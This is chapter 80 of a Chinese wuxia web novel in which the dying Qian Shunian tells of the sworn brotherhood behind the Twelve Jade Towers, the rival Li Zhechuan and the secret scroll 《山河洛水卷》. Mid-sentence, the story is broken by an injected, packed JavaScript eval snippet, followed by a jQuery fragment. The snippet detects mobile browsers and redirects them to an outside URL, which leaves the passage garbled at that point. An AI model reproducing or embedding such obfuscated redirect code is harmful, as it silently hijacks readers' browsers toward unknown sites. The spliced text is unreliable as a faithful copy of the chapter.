80. 第八十章
作品:《琴深几许》 钱塾捻此刻全凭天音壁吊着一口真气,神志尚自清醒,虞音琴声不敢稍有停顿。
“你…你还肯叫我一声钱四叔…”钱塾捻闻得思鸿如此喊他,心下百感交集,又望向司无双与秦家兄弟,说道,“我如此害你们…你们竟然还费力救我。”
“钱四叔,非是我们愿认你,是我爹他…”思鸿说到此处,无数心绪涌现。
虞音指尖琴音流转,徐徐将天音壁真气注入钱塾捻体内。方才听司无双说起此人易容成慧真模样,心中奇怪,世上竟还有人能与娘的易容之术相媲美。
此时虽是对这个钱塾捻有着极大的兴趣,但一双明眸却只顾望向思鸿,因为她从未见过思鸿有过如此神态。
“我爹曾说,当年你们义结金兰,同生共死。纵使你一时糊涂铸成大错,今后也不允许我等向你寻仇。”思鸿话音未落,钱塾捻听到“义结金兰”四字,已是泪如雨下。
思鸿又道,“他还说,无论何时,哪怕阴阳相隔,也不允许我们不认你,你们的情义…永远都在,超越生死。”
司无双闻言,亦蹙眉望向思鸿,显是闵锋从未与她说到此处,但思鸿所知也必是闵锋所转告。
钱塾捻忆起往事,泪流满面,“大哥…是我对你不起…大哥…”
“钱四叔,过去之事咱们不必再提,如今我只想问你一句话。”思鸿沉声道。
“思鸿…”钱塾捻缓过一口气,长叹一声,“那日你们与见贪交手,我便一眼认出你来,你和大哥像是一个模子刻出的。”他强自忍住激动的心情,续道,
“你想问甚么,四叔心里都清楚。这样罢,孩子们,我给你们说个故事。”
司无双嫌弃他曾经背叛过大家,此时又称自己是孩子,明明一句话就问清楚的事情,偏要绕甚么弯子讲故事。方要出言骂他,思鸿向她摆了下手势,言道,
“你说罢四叔。”
司无双连连向思鸿使眼色,示意他虞音也在旁。她实则更担心钱塾捻透漏过多,被虞音察觉自己仇人是谁,可不知为何,思鸿此刻竟似全无顾忌。
只听钱塾捻缓缓道,“当年大哥纵横江湖,义薄云天,不嫌我等粗鄙,与我三人结为金兰之交。楚二姐与锋三哥自不必说,都有各自所长,唯独我才疏学浅,这辈子只打了个算盘,略通些易容之术。我曾经将这易容之术教于楚二姐,她天资过人,极是聪慧,又是女儿家,一学便会,甚至还超出我这个‘师傅’不少。”
他忆起当年之事,心生向往,竟忘了此时伤痛,面上浮起笑意,“可惜她那门手艺,我是如何也学不来的。”
说着看了虞音一眼,虽然此时她与司无双样貌相同,可钱塾捻毫不诧异,而且他听闻这琴声,便已知虞音身份,
“那时我便开始向锋三哥讨教情报门道,他毫不吝啬的将所有事情都说与我听,我一边打理大哥交给我的玉楼账目,一边同锋三哥探查江湖与朝堂内部的秘事。哪里当官的若是做了甚么坑害百姓之事,我们都知道。”钱塾捻说到此处,不禁笑了下,又道,
“我们不直接找他们麻烦,先将他们查个底朝天,就连他老娘甚么时辰生的他,我们都查得一清二楚。”
说到此处,司无双清了清嗓子,冷冷的瞪着他。钱塾捻这才发现自己高兴的忘了形,不过他说的却也都是实情,笑了笑又道,
“那些贪官污吏既然敢做出伤天害理之事,平日里还能少了把柄?我们便抓住他们软肋,逼着他们做事,若是敢不答应,别说官没得做,便连性命也别想要。”
虞音听到此处,心下想着,原来当年江湖上不止我娘精通易容之术,这个甚么楚二姐和钱塾捻也极是厉害。
又想到思鸿对付如承岳的手段,不由朝他浅浅一笑,这可是你家祖传的手艺了。任由钱塾捻如何讲,她只是轻抚琴弦,偷偷看着思鸿,时不时笑一下。
钱塾捻继续讲着当年往事,“后来武林中诸多门派掌门,朝堂上的一些官员,都与我们有往来。我们四人做的越来越大,极受百姓爱戴,在各地十二处设有根据地,百姓感念我们行事大公无私,如玉般高洁,便将这些据点唤作“玉楼”。我四人一算,共有十二处,这十二玉楼便由此得名。”
“当年大哥发现,无论我们如何平衡江湖与朝堂,让百姓不再受到欺辱,但终究有一桩事做不到。那便是女子在当时的处境问题,小至千家万户,大至在朝为官,女子始终受不到尊重,这便像是被早已定好的,有如天经地义一般,她们生下来就不得读书写字,就不得赴京应试,就不得成为国之栋梁。”
“大哥誓要改变当时的这一陋习,推行女子掌权,许她们走出深闺,通诗书、明礼法,与男子平起平坐。为此他还曾多次将玉楼主位让与楚二姐,还要将生平所学倾囊相授,却都被二姐拒绝了。二姐一生风花雪月,才情绝世,后来更是与一名奇男子相识…”钱塾捻说到此处,面上带笑,“恐怕是看不上大哥给的这些罢。”
司无双听到此处,又是一咳,瞪了瞪钱塾捻,她不许别人说思鸿父亲半点不是。
虞音望着思鸿,心下不由好笑,暗道,“是亲生父子没错。”
钱塾捻继续道,“那几年,当真是国泰民安,风调雨顺,直至这厉折川的出现。此人背景我与三哥始终调查不清,其势力却迅速壮大,可以说曾经与我们结过仇之人,都投向了他那边。未出两年,他联合武林诸多门派组建千川合会,已足以和我们抗衡,自此我与三哥行事,便没有从前那般顺利了。”
“厉折川甚至想将千川合会与十二玉楼合并,足见此人野心有多可怕,他许以会主之位给大哥,大哥当场便拒绝了,自此江湖上便有一正一邪两大势力。”
“自古有言,邪不压正,虽然行事出现诸多不便,但我们仍将维护女子尊严的任务推行下去。楚二姐率领一众女子,其实力非我与三哥手下之人可比,由此可知大哥当年远见是何其宝贵。”
钱塾捻咳了两声,看向思鸿,“说到这里,想必你也会有自己的见解,即便我与那帮人同谋过,但我与三哥的看法仍是一样,厉折川后面再没有人了,他合并计划失败,对大哥又恨又妒,这才…”
司无双问道,“你怎么知道那狗皇帝没参与其中?”
钱塾捻摇了摇头,回道,“此事我虽不能肯定,但试想谁都不愿让自己的天下像现在这般民不聊生罢?他自己会不知道那些年有多强盛么?其实后来我也想过,许是他忌惮大哥势力,动摇他的皇位。可这厉折川出现前,大哥也曾与皇帝见过一面,大哥当时言道,‘十二玉楼替天行道,为民除害,玉楼的兴衰强弱,会随天下之势变化而变化,天下弱则玉楼强,天下强则玉楼弱。’此一番话,想必皇上不会不理解。”
“而且其后数年,也正应了大哥之言,那时我们当真整日饮酒赋诗,别无他事所做,楚二姐抚琴,大哥三哥舞剑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841234|185990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我们花前月下好不快活,二姐也正是在此时,结识了那位奇男子…那时候,大家都在啊…”
钱塾捻长叹一声,看向思鸿,“那时你也刚刚出生。”说了这许多话,纵有天音壁强撑,也渐感不支,看向司无双问道,
“试想他皇帝如何会不知这些?又何须扶持个厉折川出来与大哥作对呢?岂不适得其反,作茧自缚?”
司无双轻“哼”声,一句“那可不一定”没说出口。
虞音心中笑骂,“原来这倒楣蛋生下来,天下便要大乱。”
钱塾捻续道,“厉折川此人工于心计,不得不防,若是报仇也要万分谨慎,当年我便是被此人蒙骗,误入歧途。”
思鸿知他心有悔意,仍是默默听他讲述当年往事,并不阻拦,想着如此他心中便能好受些。
司无双等人见思鸿神色,亦听钱塾捻缓缓道来,“在那之后两年,厉折川势力强大,玉楼便又运转起来,我们配合仍是极其默契。忽然有一日,一名黑衣人将我掳走,可他并未伤我,只对我说道,‘你当思潇离是甚么好人?一切都在他掌控之中,他是在将你们当奴仆使用,你比他还要年长十岁,却日日喊他大哥,你就甘愿永在他之下么?’我当即便明白,此人能将我们底细摸得这般清楚,必是厉折川派来离间的。”
“我随即装作把他的话都听了进去,想着先脱身再做计议,那人又说道,‘今天我若想杀你,你早已没命,若是不信我所说,你日后只管去查《山河洛水卷》之事,思潇离凭此练成神功,将你们玩弄于股掌之间,是黑是白,你自己去分辨罢!’他说完便长啸一声而去。”
“当时我仍是不信,认定此人便是前来离间的,可往后的日子里,那《山河洛水卷》五个字,始终回响在我脑海之中。大哥神功是我们有目共睹,但他确乎极少提及师承来历。想着不能因此兄弟之间生出嫌隙,我便主动去找大哥三哥问出此事,不料他们二人神色如出一辙,都拿话把此事给搪塞过去了。”
“我见他们有所隐瞒,面上装作无事,心下却气不过。回去后凭着一把算盘,三日三夜不眠,生生将玉楼往年各地账目的关键所在,详细的整理出来。我发现十二处玉楼的开销中,总有一笔在轮动的账目,这笔账目三个月便由一处换到下一处,支用银两的数目极其相似。至此我便肯定,大哥三哥果真有事瞒着我,也是我大错的开始。”
钱塾捻说到此处,眼睛又是一红,问思鸿道,“想必你也知道《山河洛水卷》罢?”
思鸿点了点头,回道,“听锋三叔说过,十八年前那夜之后,便已不知去向。”
钱塾捻闻言,向秦天招了招手,秦天上前俯身扶住他,想是他体力已然支撑不住。钱塾捻含泪一笑,缓缓将秦天佩剑抽出寸许,众人不知他是何意。
只见他倏然间将右手食指、中指向剑锋划过,登时没了两根指头。
司无双大惊,急忙上前制住他大穴,喊道,“你干么!”
思鸿静立原地,一动不动。
虞音亦不知发生了甚么,只觉他气息微弱,立时便要死过去,手上不住的将天音壁送去他体内。
钱塾捻本已气若游丝,此时若不是司无双上前助他,怕是要一口气上不来昏死过去,那便是大罗金仙在世,也救不回来了,他急喘数声,断断续续说道,
“我…我后来才知,他们是为护着我…那哪里…哪里是甚么武功秘籍?”

